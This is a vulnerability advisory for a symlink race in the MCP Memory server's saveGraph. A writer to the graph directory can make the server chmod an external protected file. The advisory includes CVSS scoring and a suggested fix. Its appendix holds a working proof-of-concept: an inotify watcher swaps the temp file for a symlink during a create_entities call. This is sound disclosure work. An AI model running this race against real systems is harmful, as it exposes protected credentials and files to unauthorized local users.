Memory saveGraph temp-path race exposes protected files through symlinked chmod
Description
Memory saveGraph temp-path race exposes protected files through symlinked chmod
Summary
On Linux, a local account that can write entries in a shared Memory graph directory can watch for a create_entities save and replace its randomized temporary pathname with a symlink to another file. In the confirmed route, saveGraph then applies the graph's mode to the symlink target and renames the symlink onto the graph pathname. The shipped Memory 2.2.1 Streamable HTTP handler changed an external 0600 canary to 0644 in the raced run; the identical no-watcher control preserved its mode and ACL. The base score is 4.2 (Medium); a supported multi-user deployment with a service-readable high-value credential has a conditional environmental score of 7.8 (High).
Technical Details
The registered create_entities tool in src/memory/index.ts calls KnowledgeGraphManager.createEntities, which persists graph changes through saveGraph. For an existing graph, saveGraph reads its permission bits, creates a randomized sibling name ending in .tmp, calls fs.writeFile(tempFilePath, content, { mode }), calls fs.chmod(tempFilePath, mode), and then calls fs.rename(tempFilePath, this.memoryFilePath). The code uses a path string for both chmod and rename and does not verify that the temporary pathname still refers to the inode opened by writeFile.
A process with write and search access to the graph directory can observe the random name through Linux inotify without guessing its 32 hexadecimal characters. The reproducer waits for IN_CREATE, unlinks that entry, and creates a symlink at the same name to a file outside the graph path. writeFile can finish using its already-open file descriptor, but the later path-based chmod resolves the replacement symlink and changes the target file's mode. The subsequent rename moves that symlink to the graph pathname. This is an inferred syscall sequence consistent with the source and the observed target mode/ACL transition.
The production HTTP code registers the same create_entities handler behind POST /mcp; the reproducer starts the shipped startHttpServer implementation on loopback and uses an MCP client to call that tool. The handler checks browser Origin policy but has no per-tool user authorization. A local account that can reach loopback and has directory-entry access can issue the request itself; no separate user's approval or interaction is needed.
The affected boundary is the server process's access to host files outside MEMORY_FILE_PATH. The strongest intended-behavior explanation is that the README asks operators to set an absolute graph path they own and that writes need a writable directory. Neither statement authorizes an untrusted directory writer to make the server change permissions on a different host file. The target's deployment-hazard exclusion does not fit this demonstrated path crossing; the claim is limited to deployments that actually grant a separate local account write access to the graph directory.
PoV
For an existing graph with mode 0644, watch its parent and replace the observed memory.jsonl.<32 hex characters>.tmp entry with a symlink to a separate mode-0600 file. Then call the ordinary MCP create_entities tool once with a new entity. The minimal call and payload, using the first attempt's marker value from Appendix A, are:
await client.callTool({
name: "create_entities",
arguments: {
entities: [{
name: "SaveGraphRaceMarker0",
entityType: "test",
observations: ["route probe"],
}],
},
});In the raced run, the selected external file becomes mode 0644 and the attacking UID's effective ACL read permission changes from 0 to 4. In the no-watcher control, the same call leaves the external file at mode 0600 with effective ACL read permission 0.
PoC
The following commands use Node.js 24 on Linux, the affected package, and the MCP client version used by the probe. The script in Appendix A imports the package's shipped HTTP handler, creates a disposable graph and external canary, installs a POSIX ACL for UID 1001, and runs a primary and a no-watcher control. Run it as the owner of the files, on a filesystem that supports POSIX ACL xattrs; this reproduces the permission transition, not a read as UID 1001.
mkdir memory-savegraph-poc
cd memory-savegraph-poc
npm init -y
npm install @modelcontextprotocol/server-memory@2.2.1 @modelcontextprotocol/client@2.3.1
# Save Appendix A as race.mjs.
node race.mjs primary
node race.mjs controlAbridged JSON output from the confirmed run follows; temporary names, paths, hashes, and unrelated fields are omitted.
{"result":"violation","details":{"attempt":0,"mode":"primary","graphDirPermissions":"0o770","graphDirUid1001":{"stored_perm":7,"effective_perm":7},"before":{"mode":"0o600","uid_1001":{"stored_perm":4,"effective_perm":0}},"after":{"mode":"0o644","uid_1001":{"stored_perm":4,"effective_perm":4}},"gainedAclRead":true,"modeReadable":true,"contentChanged":false,"watcherSwap":"SWAPPED memory.jsonl.<random>.tmp","toolError":false}}
{"result":"pass","details":{"attempt":0,"mode":"control","graphDirPermissions":"0o770","graphDirUid1001":{"stored_perm":7,"effective_perm":7},"before":{"mode":"0o600","uid_1001":{"stored_perm":4,"effective_perm":0}},"after":{"mode":"0o600","uid_1001":{"stored_perm":4,"effective_perm":0}},"gainedAclRead":false,"modeReadable":false,"contentChanged":false,"watcherSwap":"","toolError":false}}Impact
The attacker needs a local account with write and search access to the directory containing MEMORY_FILE_PATH, access to the supported local HTTP endpoint, and a successful race against the save operation. No network exposure beyond loopback is required, but the HTTP transport is opt-in; default stdio-only installations and private graph directories are not affected by this scenario. The reproduction demonstrated an unauthorized file-permission change on a file outside the configured graph path. It did not read real secret contents or run the request as UID 1001.
The conservative CVSS v3.1 Base vector is CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N, scoring 4.2 (Medium). AC:H accounts for winning the pathname race despite the inotify watcher; C:L/I:L reflect the demonstrated limited canary permission change without assuming a particular file's contents. For a supported deployment where the server account can read a high-value private key or equivalent credential and a separate local account can write the graph directory, the environmental vector is CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N/CR:H/IR:M/AR:M/MC:H, scoring 7.8 (High). In that exact environment, changing the selected credential from unreadable to readable creates a direct serious confidentiality impact. The requested High label reflects that conditional environment; a maintainer who prefers the generic Base score may lower the rating to Medium. The probe confirms the ACL transition but does not demonstrate disclosure of an actual credential, so this score does not apply to every installation.
Suggested Fix
Keep operations bound to the temporary inode created by the save. Create it exclusively without following links, retain its file handle, write and change its mode through that handle, and ensure the source pathname still identifies that inode before renaming it. Where an untrusted user can modify the graph directory, use a private directory or equivalent directory-handle protections so that user cannot replace the temporary entry during the save. Add a regression test that swaps the temporary pathname for a symlink between creation and mode preservation and asserts that the external target remains mode 0600, its ACL is unchanged, and the graph path is a regular valid graph after the write; retain a no-swap success control.
Affected Package/Versions
- Package:
@modelcontextprotocol/server-memory(npm). - Confirmed affected version:
2.2.1, whose pinned source revision isc799c8552b0f27b7a33a7b9233773da144dddcf5. - Affected function:
KnowledgeGraphManager.saveGraphinsrc/memory/index.ts. - No patched version or additional tested version is claimed.
Advisory History
The repository advisory page and issue/commit searches were checked; no matching public advisory for this temporary-path symlink chmod behavior was identified. Issue #4827 and merged PR #5013 address preserving the configured graph file's mode during atomic replacement. That patch concerns the mode of the configured graph file; this report concerns chmod following a replaceable temporary path to an external file. PR #4828 is a closed, unmerged proposal related to #4827. PR #4957 is also a closed, unmerged proposal concerning preservation of a symlink at the configured memory-file pathname across rename. An earlier Memory permission finding concerned ACL inheritance on the replacement graph inode; it did not affect an external symlink target.
The prior same-target report set checked included “Configured Git repository root can be retargeted through a symlink,” “Configured Git repository root can be retargeted through a .git pointer,” “Git merge overwrites ignored local files despite no-overwrite-ignore,” “mcp-server-git: git_show can read outside --repository after a concurrent alternates rewrite,” and “Filesystem read_text_file directory-exchange race can cross allowed-root identity.” Those reports concern Git repository confinement or Filesystem allowed-root handling; none covers Memory saveGraph chmod of an attacker-substituted temporary pathname.
References
- Pinned Memory saveGraph and create_entities source
- Pinned Memory HTTP handler
- Memory package metadata
- Memory file-path and Streamable HTTP documentation
- Issue #4827 and merged PR #5013 (configured graph-file mode preservation); closed, unmerged proposals PR #4828 and PR #4957
- CVSS v3.1 Specification
Appendix A: Reproduction script
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import readline from "node:readline";
import { spawn, execFileSync } from "node:child_process";
import { Client, StreamableHTTPClientTransport } from "@modelcontextprotocol/client";
import { startHttpServer } from "@modelcontextprotocol/server-memory/dist/http.js";
const mode = process.argv[2];
if (mode !== "primary" && mode !== "control") throw new Error("use primary or control");
const MAX_ATTEMPTS = mode === "primary" ? 20 : 1;
const python = String.raw`
import hashlib, json, os, stat, struct, sys
VERSION=2
USER_OBJ, USER, GROUP_OBJ, MASK, OTHER=1,2,4,16,32
UNDEFINED=0xffffffff
ACCESS=b"system.posix_acl_access"
def acl(entries):
return struct.pack("<I", VERSION)+b"".join(struct.pack("<HHI", *e) for e in entries)
def decode(raw):
return [struct.unpack_from("<HHI", raw, off) for off in range(4, len(raw), 8)]
def user_state(entries, uid):
user=next((perm for tag,perm,ident in entries if tag==USER and ident==uid),None)
mask=next((perm for tag,perm,ident in entries if tag==MASK),7)
return None if user is None else {"stored_perm":user,"effective_perm":user & mask}
def snapshot(path):
entries=decode(os.getxattr(path, ACCESS))
st=os.stat(path)
with open(path,"rb") as f: digest=hashlib.sha256(f.read()).hexdigest()
return {"mode":oct(stat.S_IMODE(st.st_mode)),"uid_1001":user_state(entries,1001),"sha256":digest}
item=sys.argv[1]
graph_dir, graph_file, victim=sys.argv[2:5]
try:
if item=="setup":
os.chmod(graph_dir,0o770)
os.setxattr(graph_dir,ACCESS,acl([(USER_OBJ,7,UNDEFINED),(USER,7,1001),(GROUP_OBJ,0,UNDEFINED),(MASK,7,UNDEFINED),(OTHER,0,UNDEFINED)]))
os.chmod(victim,0o600)
os.setxattr(victim,ACCESS,acl([(USER_OBJ,6,UNDEFINED),(USER,4,1001),(GROUP_OBJ,0,UNDEFINED),(MASK,0,UNDEFINED),(OTHER,0,UNDEFINED)]))
out={"supported":True,"graph_dir_mode":oct(stat.S_IMODE(os.stat(graph_dir).st_mode)),"graph_dir_uid_1001":user_state(decode(os.getxattr(graph_dir,ACCESS)),1001),"victim":snapshot(victim)}
print(json.dumps(out))
except (AttributeError,OSError) as e:
print(json.dumps({"supported":False,"reason":str(e)}))
`;
const watcherCode = String.raw`
import ctypes, os, re, struct, sys
folder,target=sys.argv[1:3]
libc=ctypes.CDLL(None,use_errno=True)
libc.inotify_init1.restype=ctypes.c_int
libc.inotify_add_watch.restype=ctypes.c_int
fd=libc.inotify_init1(0)
if fd < 0: raise OSError(ctypes.get_errno(),"inotify_init1")
wd=libc.inotify_add_watch(fd,os.fsencode(folder),0x100)
if wd < 0: raise OSError(ctypes.get_errno(),"inotify_add_watch")
print("READY",flush=True)
pat=re.compile(r"^memory\.jsonl\.[0-9a-f]{32}\.tmp$")
while True:
data=os.read(fd,65536)
offset=0
while offset+16 <= len(data):
event_wd,mask,cookie,name_len=struct.unpack_from("iIII",data,offset)
raw=data[offset+16:offset+16+name_len].split(bytes([0]),1)[0]
offset += 16+name_len
try: name=raw.decode()
except UnicodeDecodeError: continue
if not pat.fullmatch(name): continue
candidate=os.path.join(folder,name)
try:
os.unlink(candidate)
os.symlink(target,candidate)
print("SWAPPED "+name,flush=True)
sys.exit(0)
except FileNotFoundError:
print("MISSED",flush=True)
except OSError as e:
print("ERROR "+repr(e),flush=True)
`;
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const root = await fs.mkdtemp(path.join(os.tmpdir(), "memory-savegraph-race-"));
const shared = path.join(root, "shared");
const privateDir = path.join(root, "private");
const victim = path.join(privateDir, "protected-canary.txt");
function aclCall(action, graphDir, graphFile) {
return JSON.parse(execFileSync("python3", ["-c", python, action, graphDir, graphFile, victim], { encoding: "utf8" }));
}
function startWatcher(graphDir) {
const proc = spawn("python3", ["-u", "-c", watcherCode, graphDir, victim], { stdio: ["ignore", "pipe", "ignore"] });
const lines = readline.createInterface({ input: proc.stdout });
let readyResolve;
let swappedResolve;
const ready = new Promise((resolve) => { readyResolve = resolve; });
const swapped = new Promise((resolve) => { swappedResolve = resolve; });
let swappedLine = "";
lines.on("line", (line) => {
if (line === "READY") readyResolve(true);
if (line.startsWith("SWAPPED ")) { swappedLine = line; swappedResolve(line); }
});
return { proc, lines, ready, swapped, get swappedLine() { return swappedLine; } };
}
try {
await fs.chmod(root, 0o755);
await fs.mkdir(shared, { mode: 0o755 });
await fs.chmod(shared, 0o755);
await fs.mkdir(privateDir, { mode: 0o755 });
await fs.chmod(privateDir, 0o755);
await fs.writeFile(victim, "EXTERNAL_PRIVATE_CANARY\n");
await fs.chmod(victim, 0o600);
for (let attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {
const graphDir = path.join(shared, `graph-${attempt}`);
const graphFile = path.join(graphDir, "memory.jsonl");
await fs.mkdir(graphDir, { mode: 0o755 });
await fs.writeFile(graphFile, '{"type":"entity","name":"Existing","entityType":"test","observations":[]}\n');
await fs.chmod(graphFile, 0o644);
const initialized = aclCall("setup", graphDir, graphFile);
if (!initialized.supported) throw new Error(initialized.reason);
const before = initialized.victim;
const server = await startHttpServer(graphFile, { host: "127.0.0.1", port: 0 });
const client = new Client({ name: "memory-savegraph-poc", version: "1.0.0" }, { versionNegotiation: { mode: "legacy" } });
let watcher;
let toolError = false;
let graphTarget = null;
try {
await client.connect(new StreamableHTTPClientTransport(new URL(server.url)));
const read = await client.callTool({ name: "read_graph", arguments: {} });
if (read.isError) throw new Error("read_graph control failed before mutation");
if (mode === "primary") {
watcher = startWatcher(graphDir);
if (!(await Promise.race([watcher.ready, delay(2000).then(() => false)]))) throw new Error("watcher failed to start");
}
try {
const call = await client.callTool({ name: "create_entities", arguments: { entities: [{ name: `SaveGraphRaceMarker${attempt}`, entityType: "test", observations: ["route probe"] }] } });
toolError = Boolean(call.isError);
} catch { toolError = true; }
if (watcher) await Promise.race([watcher.swapped, delay(75).then(() => "")]);
if (watcher && watcher.proc.exitCode === null) watcher.proc.kill("SIGTERM");
await watcher?.lines?.close();
const after = aclCall("snapshot", graphDir, graphFile).victim;
try {
const st = await fs.lstat(graphFile);
if (st.isSymbolicLink()) graphTarget = await fs.readlink(graphFile);
} catch {}
const gainedAclRead = (before.uid_1001?.effective_perm ?? 0) === 0 && ((after.uid_1001?.effective_perm ?? 0) & 4) === 4;
const modeReadable = (parseInt(after.mode.slice(2), 8) & 4) !== 0;
const contentChanged = after.sha256 !== before.sha256;
const details = { attempt, mode, graphDirPermissions: initialized.graph_dir_mode, graphDirUid1001: initialized.graph_dir_uid_1001, before, after, gainedAclRead, modeReadable, contentChanged, watcherSwap: watcher?.swappedLine ?? "", graphTarget, toolError };
if ((gainedAclRead || modeReadable || contentChanged) && mode === "primary") {
console.log(JSON.stringify({ result: "violation", signal: "create_entities raced the temporary pathname and made an external file readable or changed its contents", details }));
break;
}
if (mode === "control") {
console.log(JSON.stringify({ result: (gainedAclRead || modeReadable || contentChanged || toolError) ? "invalid" : "pass", signal: "", details }));
break;
}
if (attempt === MAX_ATTEMPTS - 1) console.log(JSON.stringify({ result: "invalid", signal: "bounded run did not observe the permission effect", details }));
} finally {
if (watcher && watcher.proc.exitCode === null) watcher.proc.kill("SIGTERM");
await client.close().catch(() => {});
await server.close().catch(() => {});
await fs.rm(graphDir, { recursive: true, force: true }).catch(() => {});
}
}
} finally {
await fs.rm(root, { recursive: true, force: true });
}